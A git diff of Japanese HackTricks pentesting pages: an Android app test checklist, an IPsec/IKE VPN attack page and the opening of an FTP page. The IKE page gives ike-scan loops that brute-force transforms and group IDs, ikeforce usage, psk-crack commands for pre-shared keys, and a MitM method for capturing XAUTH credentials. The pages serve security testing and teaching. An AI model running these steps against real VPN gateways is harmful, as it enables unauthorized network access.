* **サイバーセキュリティ企業で働いていますか?** HackTricksで**会社を宣伝**したいですか?または、**最新バージョンのPEASSをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有**するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
脆弱性を見つけて、より早く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
### [Androidの基礎を学ぶ](android-app-pentesting/#2-android-application-fundamentals) ### [Androidの基礎を学ぶ](android-app-pentesting/#2-android-application-fundamentals)
* [ ] [基本](android-app-pentesting/#fundamentals-review) * [ ] [基本](android-app-pentesting/#fundamentals-review)
@ -38,10 +38,10 @@
### [静的解析](android-app-pentesting/#static-analysis) ### [静的解析](android-app-pentesting/#static-analysis)
* [ ] [難読化の使用](android-checklist.md#some-obfuscation-deobfuscation-information)、ルート化されたモバイルのチェック、エミュレータの使用の有無、および防御チェックの確認。[詳細はこちらを参照](android-app-pentesting/#other-checks)。 * [ ] [難読化の使用をチェック](android-checklist.md#some-obfuscation-deobfuscation-information)し、モバイルがルート化されているか、エミュレータが使用されているか、防御チェックが行われているかを確認します。[詳細はこちらを参照](android-app-pentesting/#other-checks)。
* [ ] 銀行アプリなどの機密アプリケーションは、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。 * [ ] 銀行アプリなどの重要なアプリケーションは、モバイルがルート化されているかどうかをチェックし、それに応じて動作する必要があります。
* [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどを検索します。 * [ ] [興味深い文字列](android-app-pentesting/#looking-for-interesting-info)パスワード、URL、API、暗号化、バックドア、トークン、Bluetooth UUIDなどを検索します。
* [ ] FirebaseのAPIに特別な注意を払います。 * [ ] [Firebase](android-app-pentesting/#firebase)のAPIに特に注意します。
* [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml) * [ ] [マニフェストを読む:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
* [ ] アプリケーションがデバッグモードになっているかどうかをチェックし、それを「悪用」しようとします * [ ] アプリケーションがデバッグモードになっているかどうかをチェックし、それを「悪用」しようとします
* [ ] APKがバックアップを許可しているかどうかをチェックします * [ ] APKがバックアップを許可しているかどうかをチェックします
@ -50,44 +50,42 @@
* [ ] 公開されたサービス * [ ] 公開されたサービス
* [ ] ブロードキャストレシーバー * [ ] ブロードキャストレシーバー
* [ ] URLスキーム * [ ] URLスキーム
* [ ] アプリケーションが[内部または外部で安全にデータを保存](android-app-pentesting/#insecure-data-storage)しているかどうかを確認しますか? * [ ] アプリケーションが内部または外部でデータを安全に保存しているかどうかandroid-app-pentesting/#insecure-data-storageを確認しますか?
* [ ] パスワードがハードコードされているかディスクに保存されているかを確認しますか?アプリは[安全でない暗号アルゴリズムを使用](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)していますか * [ ] パスワードがハードコードされているかディスクに保存されているかandroid-app-pentesting/#poorkeymanagementprocessesを確認しますかアプリは安全でない暗号アルゴリズムを使用していますかandroid-app-pentesting/#useofinsecureandordeprecatedalgorithms
* [ ] すべてのライブラリはPIEフラグでコンパイルされていますか? * [ ] PIEフラグを使用してコンパイルされたすべてのライブラリはありますか?
* [ ] このフェーズで非常に役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がいくつかありますので、忘れないでください。 * [ ] このフェーズで役立つ[静的Androidアナライザー](android-app-pentesting/#automatic-analysis)がたくさんありますので、忘れないでください。
### [動的解析](android-app-pentesting/#dynamic-analysis) ### [動的解析](android-app-pentesting/#dynamic-analysis)
* [ ] 環境を準備す[オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理的な環境](android-app-pentesting/#local-dynamic-analysis) * [ ] 環境を準備します([オンライン](android-app-pentesting/#online-dynamic-analysis)、[ローカルVMまたは物理的な環境](android-app-pentesting/#local-dynamic-analysis)
* [ ] [意図しないデータの漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/貼り付け、クラッシュログ)はありますか? * [ ] [意図しないデータの漏洩](android-app-pentesting/#unintended-data-leakage)(ログ、コピー/貼り付け、クラッシュログ)はありますか?
* [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか? * [ ] [SQLiteデータベースに保存されている機密情報](android-app-pentesting/#sqlite-dbs)はありますか?
* [ ] [悪用可能な公開アクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか? * [ ] [悪用可能な公開されたアクティビティ](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)はありますか?
* [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか? * [ ] [悪用可能なコンテンツプロバイダー](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)はありますか?
* [ ] [悪用可能な公開サービス](android-app-pentesting/#exploiting-services)はありますか? * [ ] [悪用可能な公開されたサービス](android-app-pentesting/#exploiting-services)はありますか?
* [ ] [悪用可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)はありますか? * [ ] [悪用可能なブロードキャストレシーバー](android-app-pentesting/#exploiting-broadcast-receivers)はありますか?
* [ ] アプリケーションが[平文で情報を送信/弱いアルゴリズムを使用](android-app-pentesting/#insufficient-transport-layer-protection)していませんかMitMが可能ですか * [ ] アプリケーションは情報を平文で送信していますか弱いアルゴリズムを使用していますかandroid-app-pentesting/#insufficient-transport-layer-protectionMitM攻撃は可能ですか
* [ ] HTTP/HTTPSトラフィックを[検査](android-app-pentesting/#inspecting-http-traffic)します * [ ] HTTP/HTTPSトラフィックを検査しますandroid-app-pentesting/#inspecting-http-traffic
* [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を検索できますHacktricksにはWebの脆弱性に関する多くの情報があります * [ ] これは非常に重要です。HTTPトラフィックをキャプチャできれば、一般的なWebの脆弱性を検索できますHacktricksにはWebの
* [ ] 可能な[Androidクライアントサイドインジェクション](android-app-pentesting/#android-client-side-injections-and-others)をチェックします(おそらく静的コード解析がここで役立つでしょ
### 一部の難読化/難読化解除の情報 ### 一部の難読化/難読化解除の情報
* [ ] [こちらを読む](android-app-pentesting/#obfuscating-deobfuscating-code) * [ ] [こちらを読んでください](android-app-pentesting/#obfuscating-deobfuscating-code)
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまでクラウドシステム全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) 今日から。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details> <details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションを。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください** * **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください**
</details> </details>
![](<../.gitbook/assets/image (9) (1) (2).png>)
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -12,7 +12,7 @@
</details> </details>
<figure><img src="../.gitbook/assets/image (674).png" alt=""><figcaption></figcaption></figure> <figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
@ -28,7 +28,7 @@ IPsecは、ゲートウェイ間LAN間およびホストとゲートウェ
* **フェーズ1** プリ共有キーPSKまたは証明書を使用して、2つのエンドポイント間に安全なチャネルを確立します。メインモード3つのメッセージのペアまたは**アグレッシブ**モードを使用できます。 * **フェーズ1** プリ共有キーPSKまたは証明書を使用して、2つのエンドポイント間に安全なチャネルを確立します。メインモード3つのメッセージのペアまたは**アグレッシブ**モードを使用できます。
* **フェーズ1.5** これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー(ユーザー+パスワード)を認証します。 * **フェーズ1.5** これはオプションで、拡張認証フェーズと呼ばれ、接続しようとしているユーザー(ユーザー+パスワード)を認証します。
* **フェーズ2** ESPおよびAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます完全な転送秘密鍵PFS * **フェーズ2** ESPAHを使用してデータセキュリティのパラメータを交渉します。フェーズ1で使用されたものとは異なるアルゴリズムを使用できます完全な転送秘密鍵PFS
**デフォルトポート:** 500/udp **デフォルトポート:** 500/udp
@ -76,7 +76,7 @@ for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for A
```bash ```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
もしブルートフォース攻撃がうまくいかなかった場合、サーバーが正当な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォース攻撃をアグレッシブモードで試してみることができます。 もしブルートフォース攻撃がうまくいかない場合、サーバーが有効な変換に対してもハンドシェイクなしで応答している可能性があります。その場合、同じブルートフォース攻撃をアグレッシブモードで試してみることができます。
```bash ```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
``` ```
@ -88,17 +88,17 @@ while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive
![](<../.gitbook/assets/image (109).png>) ![](<../.gitbook/assets/image (109).png>)
**DHグループ14 = 2048ビットMODP**および**15 = 3072ビット**\ **DHグループ14 = 2048ビットMODP**および**15 = 3072ビット**\
**2 = HMAC-SHA = SHA1この場合. --transフォーマットは$Enc,$Hash,$Auth,$DHです** **2 = HMAC-SHA = SHA1この場合. --transフォーマットは$Enc、$Hash、$Auth、$DHです**
特に、CiscoはDHグループ1および2の回避を推奨しています。論文の著者は、弱いグループを使用してネゴシエートされたIPsecセッションを国家が離散対数の事前計算を介して復号できる可能性が高いと説明しています。数億ドルを費やして行われる事前計算は、弱いグループ1,024ビット以下を使用したセッションのリアルタイム復号を通じて償却されます。 特に、CiscoはDHグループ12の回避を推奨しています。論文の著者は、弱いグループを使用してネゴシエートされたIPsecセッションを国家が離散対数の事前計算を介して復号できる可能性が高いと説明しています。数億ドルを費やして行われる事前計算は、弱いグループ1,024ビット以下を使用したセッションのリアルタイム復号を通じて償却されます。
### サーバーのフィンガープリント ### サーバーのフィンガープリント
次に、ike-scanを使用してデバイスの**ベンダーを特定**することができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンの**時間差**を分析することで、ペンテスターはVPNゲートウェイのベンダーを正確に特定できます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。 次に、ike-scanを使用してデバイスの**ベンダーを特定**することができます。このツールは初期提案を送信し、リプレイを停止します。その後、サーバーから受信したメッセージと一致する応答パターンの**時間差**を**分析**することで、ペンテスターはVPNゲートウェイのベンダーを正確に特定することができます。さらに、一部のVPNサーバーはIKEでオプションの**ベンダーIDVIDペイロード**を使用します。
必要に応じて、有効な変換を指定します(--transを使用 必要に応じて、有効な変換を指定します(--transを使用
IKEがベンダーを特定する場合、それを表示します: IKEがベンダーを特定する、それを表示します:
``` ```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200 root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/) Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
@ -145,7 +145,7 @@ ike-scan -P -M -A -n fakeID <IP>
```bash ```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
``` ```
または、この辞書を使用します(重複のない他の2つの辞書の組み合わせです または、この辞書を使用します(重複を排除した他の2つの辞書の組み合わせです
{% file src="../.gitbook/assets/vpnIDs.txt" %} {% file src="../.gitbook/assets/vpnIDs.txt" %}
@ -155,17 +155,17 @@ while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>
### ikeforceを使用したIDのブルートフォース攻撃 ### ikeforceを使用したIDのブルートフォース攻撃
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDのブルートフォース攻撃**にも使用できるツールです。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性**を試みます偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanの方法を使用することをお勧めします [**ikeforce.py**](https://github.com/SpiderLabs/ikeforce)は、**IDのブルートフォース攻撃**にも使用できるツールです。このツールは、**有効なIDと無効なIDを区別するために使用できるさまざまな脆弱性**を悪用しようとします偽陽性と偽陰性が発生する可能性があるため、可能な場合はike-scanの方法を使用することをお勧めします
デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用する戦術を決定します。 デフォルトでは、**ikeforce**は最初にいくつかのランダムなIDを送信して、サーバーの動作をチェックし、使用する戦術を決定します。
* **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**の情報を検索して、グループ名が正しい場合にのみサーバーが再生する情報をブルートフォース攻撃することです。 * **最初の方法**は、Ciscoシステムの**Dead Peer Detection DPD**の情報を検索して、グループ名が正しい場合にのみサーバーが再生する情報をブルートフォース攻撃することです。
* 利用可能な**2番目の方法**は、各試行に送信される応答の数をチェックすることです。正しいIDが使用されると、時にはより多くのパケットが送信されることがあります。 * 利用可能な**2番目の方法**は、各試行に送信される応答の数を**チェック**することです。正しいIDが使用されると、時にはより多くのパケットが送信されることがあります。
* **3番目の方法**は、不正なIDに対する応答として「INVALID-ID-INFORMATION」を検索することです。 * **3番目の方法**は、不正なIDに対する応答として**"INVALID-ID-INFORMATION"を検索**することです。
* 最後に、サーバーがチェックに対して何も応答しない場合、**ikeforce**はサーバーをブルートフォース攻撃し、正しいIDが送信されるとサーバーがパケットを返信するかどうかを確認します。\ * 最後に、サーバーがチェックに何も応答しない場合、**ikeforce**はサーバーをブルートフォース攻撃し、正しいIDが送信されるとサーバーがパケットを返信するかどうかを確認します。\
明らかに、IDのブルートフォース攻撃の目的は、有効なIDがある場合に**PSK**を取得することです。その後、**id**と**PSK**を使用してXAUTH有効な場合をブルートフォース攻撃する必要があります。 明らかに、IDのブルートフォース攻撃の目的は、有効なIDがある場合に**PSK**を取得することです。その後、**id**と**PSK**を使用してXAUTH有効な場合をブルートフォース攻撃する必要があります。
特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試すために新しいループを追加してください(うまく機能するまですべてを試す必要があります)。 特定の変換を発見した場合は、ikeforceコマンドに追加してください。複数の変換を発見した場合は、すべてを試すための新しいループを自由に追加してください(正常に機能するまですべてを試す必要があります)。
```bash ```bash
git clone https://github.com/SpiderLabs/ikeforce.git git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -194,7 +194,7 @@ psk-crack -d <Wordlist_path> psk.txt
``` ```
## **XAuth** ## **XAuth**
ほとんどの実装では、**グループ認証を行うためにPSKを使用したアグレッシブモードIKE**を使用し、**追加のユーザー認証を提供するためにXAUTHを使用**しますMicrosoft Active Directory、RADIUS、または類似の方法を介して。**IKEv2**では、ユーザーの認証にはXAUTHの代わりにEAPが使用されます。 ほとんどの実装では、**グループ認証を行うためにPSKを使用したアグレッシブモードIKE**を使用し、**追加のユーザー認証を提供するためにXAUTHを使用**しますMicrosoft Active Directory、RADIUS、または類似の方法を介して。**IKEv2**では、ユーザーの認証にはEAPがXAUTHの代わりに使用されます。
### ローカルネットワークのMitMによる資格情報のキャプチャ ### ローカルネットワークのMitMによる資格情報のキャプチャ
@ -243,7 +243,7 @@ root@kali:~# ifconfig tun0
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure> <figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。 最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは攻撃対象を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリまで、クラウドシステム全体にわたる問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -255,6 +255,6 @@ root@kali:~# ifconfig tun0
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出**してください。 * **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details> </details>

View file

@ -4,14 +4,22 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary> <summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **サイバーセキュリティ会社**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 * [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** * [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 * **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
</details> </details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
最も重要な脆弱性を見つけて、より速く修正できるようにしましょう。Intruderは、攻撃対象の範囲を追跡し、積極的な脅威スキャンを実行し、APIからWebアプリ、クラウドシステムまで、技術スタック全体で問題を見つけます。[**無料でお試しください**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本情報 ## 基本情報
**ファイル転送プロトコルFTP**は、コンピュータネットワーク上のクライアントとサーバー間でコンピュータファイルを転送するために使用される標準的なネットワークプロトコルです。\ **ファイル転送プロトコルFTP**は、コンピュータネットワーク上のクライアントとサーバー間でコンピュータファイルを転送するために使用される標準的なネットワークプロトコルです。\
@ -24,21 +32,21 @@ PORT STATE SERVICE
``` ```
### 接続のアクティブとパッシブ ### 接続のアクティブとパッシブ
**アクティブFTP**では、FTP **クライアント**は最初にポートNからFTPサーバーのコマンドポートポート21への制御**接続**を**開始**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**は、FTPクライアントのポートN+1へのデータ**接続**を**開始**します。 **アクティブFTP**では、FTP **クライアント**は最初にポートNからFTPサーバーのコマンドポートポート21への制御**接続**を**初期化**します。その後、**クライアント**はポート**N+1**で**リッスン**し、ポートN+1をFTPサーバーに送信します。FTP **サーバー**は、FTPクライアントのポートN+1へのデータ**接続**を**初期化**します。
